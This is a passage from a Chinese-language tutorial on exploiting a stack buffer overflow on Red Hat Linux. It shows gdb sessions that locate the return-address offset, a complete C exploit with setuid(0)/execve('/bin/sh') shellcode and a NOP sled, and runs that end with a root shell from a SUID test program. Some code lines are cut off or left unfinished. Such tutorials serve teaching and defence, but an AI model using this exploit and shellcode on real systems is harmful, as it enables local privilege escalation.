0x804841f : call 0x8048330
0x8048424 : add $0x8,%esp
0x8048427 : leave
0x8048428 : ret
0x8048429 : lea 0x0(%esi),%esi
End of assembler dump.
这个地址刚好是vulFunc函数的入口, 也就是说vulFunc函数会再次被调用后出错.
不信的话, 可以试试.
bash$ ./p `perl -e 'print "A"x16'`
看输出什么了.
再用多4个字节, 就会完全用41414141来复盖返回地址了.
bash$ ./p `perl -e 'print "A"x20'`
String=AAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
bash$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./p AAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) i reg
eax 0x1c 28
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6d4 -1073744172
ebp 0x41414141 1094795585
esi 0x4000ae60 1073786464
edi 0xbffff724 -1073744092
eip 0x41414141 1094795585
eflags 0x10296 66198
(以下省略)
看到"金光闪闪"的41414141在eip里了.
所以要想复盖返回地址, 应该在缓冲区的第16个位置开始填入4个字节的返回地址值.
有时候"土法"的确是可以炼出"钢"来的 ;)
知道了这个后, 就得看看如何利用了.
3) 如何攻击?
我们已经知道应该把返回地址的值放在字串中那个位置就可以复盖eip了.
但我们还有一件很关键的事没有做--就是如何确定我们要复盖的返回地址的值?--即: 用什么值去复盖?
而这个值一定要指向我们准备好的shell code的人口.
shell code在Internet上有很多, 我们就随便拿一个好一点的来用就行了, 没必要自己去写,
除非不得已.
这个shell code是要做为我们输入的字符串的一部分提供给命令p的.
我们也知道当一个进程在运行时, 其在相同的shell环境(包括命令行参数)下, 在程序中的某个
地方的esp的值是不变的. 我们只要找出这个值, 以它做为基准, 然后再根据调试时得出的结果
来计算出我们要填的返回地址就可以了.
我们同时也应该知道, 由于我们是在exploit程序中用exec系列函数来调用命令p的, 当exec系列
函数调用成功时, 我们的exploit程序进程的内存影像就完全被命令p的进程内存影像所替代了.
这一点一定要弄清楚, 因为我们是"低手", 所以要弄明白.
换句话来说, 我们在exploit程序的进程里得到的esp根本就不是p程序进程运行时的esp,
虽然它们之间的差相对来说是稳定的.
而且我们根本没法在命令p的进程运行时得到esp的值, 我们只能根据exploit程序的进程的esp值来
猜, 即: 根据它来猜出我们提供给命令p的shell code在命令p运行时的进程内存空间中的位置,
也就是在p进程中存放shell code的起始地址--我们的入口. 而这种猜, 是通过调试来完成的.
为了提高中标机会, 我们在入口的前面要尽量填上足够多的NOP, 把面放大一点, 就容易中了.
我们设计的缓冲区内容为如下形式:
(内存低址) ...[16个非零字符(就用0x41吧)][返回地址(4个字节)][若干个0x90(NOP)][shellcode]... (内存高址)
| ^
|____________________|
只要我们的猜到的返回地址值能落到存放那若干个NOP的地址空间里就大功告成了.
这里有必要讲一下exploit程序(如我们下面的myex)进程和由它用execl系列函数执行的p进程之间的
关系.
其实exploit进程调用execl函数成功运行p进程后, exploit进程的内存影像已完全被p进程的内存影
像所替代. exploit进程已不复存在. 在exploit进程中调用get_esp()函数所得到的esp值并不是p进
程溢出时的esp值, 而是exploit进程当时的esp值. 而这个值只是进程运行时栈的地址空间中的某个
地址值.
在相同的系统环境下, 这两个进程的栈的地址空间是一样的. 换句话来说, 知道了exploit进程的栈
空间中的某个地址值, 我们就等于知道了p进程的栈空间的某个地址值了, 然后再根据这个值来计算
出我们的shellcode的入口地址. 而且这个地址和我们的shellcode的入口地址往往就相差不远, 只要
稍为调整一下就行了.
以下为示意图(shellcode入口地址低于得到的esp的情况, 高于的情况同理):
exploit进程影像 p进程影像
+--------+ (内存高址) +--------+
| ...... | | ...... |
+--------+ +--------+
| ...... | | ...... |
...... ......
| ...... | |SSSSSSSS|\
+--------+ +--------+ \
| ...... | |SSSSSSSS| \
+--------+ +--------+ \
| ...... | |SSSSSSSS| shell code
+--------+ <---- esp ----> +--------+ /
| ...... | | |SSSSSSSS| /
+--------+ | +--------+ /
| ...... | offset |SSSSSSSS|/
+--------+ | +--------+
| ...... | | |90909090|\
...... ---> ...... 若干个NOP
| ...... | |90909090|/
+--------+ +--------+
| ...... | |返回地址|
+--------+ +--------+
| ...... | |41414141|
...... ......
| ...... | | ...... |
+--------+ +--------+
| ...... | | ...... |
+--------+ (内存低址) +--------+
注: 图中的offset为myex.c中的ESP_RET_DIFF; 返回地址=get_esp()-offset.
shellcode的入口高于esp的情况: 返回地址=get_esp+offset.
讲了那么多, 还是让我们现在就动手吧 ;)
以下是我们用来攻击命令p的exploit程序.
/*
* 文件名 : myex.c
* 编译 : gcc -o myex myex.c
*
* 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
* 有问题的程序p的程序示范源代码
* 有关程序p的源代码请参见同一文章中的p.c
* 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
*
* 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
* 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
*
* 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
*
*/
#include
#define RET_DIS 16 // Displacement to replace the return address
#define NOP 0x90 // Machine code for no operation
#define NNOP 100 // Number of NOPs
#define ESP_RET_DIFF 0 --> Need to apply an appropriate value here. (-60 shoul work)
char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int get_esp()
{
__asm__("mov %esp, %eax");
}
int main(int argc, char **argv)
{
char* charPtr = NULL;
char* bufferPtr = NULL;
int* intPtr = NULL;
int shellCodeLength = strlen(shellCode);
int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;
int retAddr = 0;
int adjustment = 0;
int i;
int esp = get_esp();
if(argc >= 2)
{
adjustment = atoi(argv[1]);
}
retAddr = esp + ESP_RET_DIFF + adjustment;
bufferPtr = (char *) malloc(bufferSize);
if(bufferPtr != NULL)
{
/* Fill the whole buffer with 'A' */
memset(bufferPtr, 0x41, bufferSize);
/* Butt in our return address */
intPtr = (int *) (bufferPtr + RET_DIS);
*intPtr++ = retAddr;
charPtr = (char *) intPtr;
/* To increase the probabilty of hitting the jackpot */
for(i=0; i
{
*charPtr++ = NOP;
}
/* Butt in the shell code */
for(i=0; i
{
*charPtr++ = shellCode[i];
}
*charPtr = 0; /* Null terminated - Not necessary but nice to have */
printf("esp=0x%.8x, adjustment=%d, jump to 0x%.8x. Have fun!\n", esp, adjustment, retAddr);
/* Try to hit the jackpot */
execl("./p", "p", bufferPtr, NULL);
}
else
{
printf("No more free memory!\n");
}
}
好, 我们来编译运行看看.
bash$ gcc -o myex myex.c
bash$ ./myex
esp=0xbffff6b8, adjustment=0, jump to 0xbffff6b8. Have fun!
String=AAAAAAAAAAAAAAAA个?F燜 V
? N蜖1蹱谸蜖柢???/bin/sh
Segmentation fault (core dumped)
可以看到, exploit进程的esp等于0xbffff6b8, 在p的进程空间中要跳到那里去执行不成功 :(
让我们来看一看到底是为什么?
bash$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `p AAAAAAAAAAAAAAAA个??Program terminated with signal 11, Segmentation fault.
#0 0xbffff6b8 in ?? ()
(gdb) bt
#0 0xbffff6b8 in ?? ()
Cannot access memory at address 0x41414141
(gdb) i reg
eax 0xb5 181
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff644 -1073744316
ebp 0x41414141 1094795585
esi 0x4000ae60 1073786464
edi 0xbffff694 -1073744236
eip 0xbffff6b8 -1073744200
eflags 0x10296 66198
(以下省略)
...
可以看到ebp被我们用41414141复盖了; eip也让我们用0xbffff6b8复盖了, 但它肯定不是我们的
shell code的入口地址, 否则已经成功了.
我们来查一下.
(gdb) x/64x $esp-32
0xbffff624: 0x08048424 0x080484b0 0xbffff630 0x41414141
0xbffff634: 0x41414141 0x41414141 0x41414141 0xbffff6b8
0xbffff644: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff654: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff664: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff674: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff684: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff694: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6a4: 0x90909090 0xd889db31 0x80cd17b0 0x895e1feb
0xbffff6b4: 0xc0310876 0x89074688 0x0bb00c46 0x4e8df389
0xbffff6c4: 0x0c568d08 0xdb3180cd 0xcd40d889 0xffdce880
0xbffff6d4: 0x622fffff 0x732f6e69 0xbfff0068 0xbffffb75
0xbffff6e4: 0xbffffb83 0xbffffc8d 0xbffffc99 0xbffffcaa
0xbffff6f4: 0xbffffcbf 0xbffffccf 0xbffffcda 0xbffffcf2
0xbffff704: 0xbffffd10 0xbffffd29 0xbffffd34 0xbffffd3e
0xbffff714: 0xbffffd87 0xbffffd94 0xbffffdbb 0xbffffdcc
哎呀! 我们的shell code的入口地址在0xbffff644, 怪不得跳到0xbffff6b8去执行不可以了.
不行, 要把0xbffff6b8改成0xbffff644到0xbffff6a7这一片地址空间中的任何一个地址才行.
0xbffff6b8-0xbffff644=0x74=116, 0xbffff6b8-0xbffff6a8=0x10=16. 所以返回地址要落在
0xbffff6b8-n, n属于[16, 116]才行--也就是我们那边100个NOP的范围内.
注: 具体的区间是多少, 由不同的系统环境决定.
我们做最好的打算, 保险一点, 就取其中间值吧, 取60. 把上面程序中的ESP_RET_DIFF 改为 -60.
编译运行.
bash$ ps
PID TTY TIME CMD
1559 pts/1 00:00:01 bash
2047 pts/1 00:00:00 ps
bash$ ./myex
esp=0xbffff6b8, adjustment=0, jump to 0xbffff6a8. Have fun!
String=AAAAAAAAAAAAAAAA??F燜 V
? N蜖1蹱谸蜖柢???/bin/sh
bash$ ps 狊
PID TTY TIME CMD
1559 pts/1 00:00:01 bash
2048 pts/1 00:00:00 sh
2049 pts/1 00:00:00 ps
哈! 得到shell了.
bash$ exit
exit
bash$
为了检验, 我们把p和myex拷贝到另一台Linux(Redhat)机器上, 并把文件p改成SUID root 的文件,
然后 ...
bash$ su root
Password:
bash# chown root:sys p
bash# chmod 4555 p
bash# ls -la p
-r-sr-xr-x 1 root sys 11941 Apr 28 18:31 p
bash# exit
exit
bash$ id
uid=500(vcat) gid=500(vcat) groups=500(vcat)
bash$ ./myex
esp=0xbffffac8, adjustment=0, jump to 0xbffffa8c. Have fun!
String=AAAAAAAAAAAAAAAA狕?F燜 V
? N蜖1蹱谸蜖柢???/bin/sh
bash# id 狊
uid=0(root) gid=500(vcat) groups=500(vcat)
bash#
哈哈! 中彩票了. [url=http://blog.csdn.net/lalphbet/admin/EditPosts.aspx][/url]
